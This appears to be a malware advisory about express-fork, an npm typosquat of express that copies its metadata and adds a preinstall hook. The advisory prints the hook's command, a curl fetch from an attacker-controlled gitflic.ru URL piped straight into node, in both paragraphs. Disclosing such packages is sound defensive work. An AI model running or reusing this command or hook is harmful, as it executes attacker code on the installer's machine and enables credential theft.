MAL-2026-17490 Malicious code in express-fork (npm)

[email protected] impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-fork and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.

[email protected] is a typosquat of the express package. Its package.json metadata (description, author, repository, keywords) is copied verbatim from express, while package.json line 98 defines a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/...?file=node.js | node. On every npm install, the hook fetches an unpinned JavaScript file from a third-party gitflic.ru account unrelated to the Express publisher (via a web.archive.org wrapper) and pipes it directly to the Node interpreter, with no integrity or signature check. The fetched content executes with the privileges of the installing user and can perform arbitrary actions on the installer's machine, including credential theft, persistence, or further payload delivery. The impersonation of express is the lure that causes typo-based installs to trigger the remote-exec hook.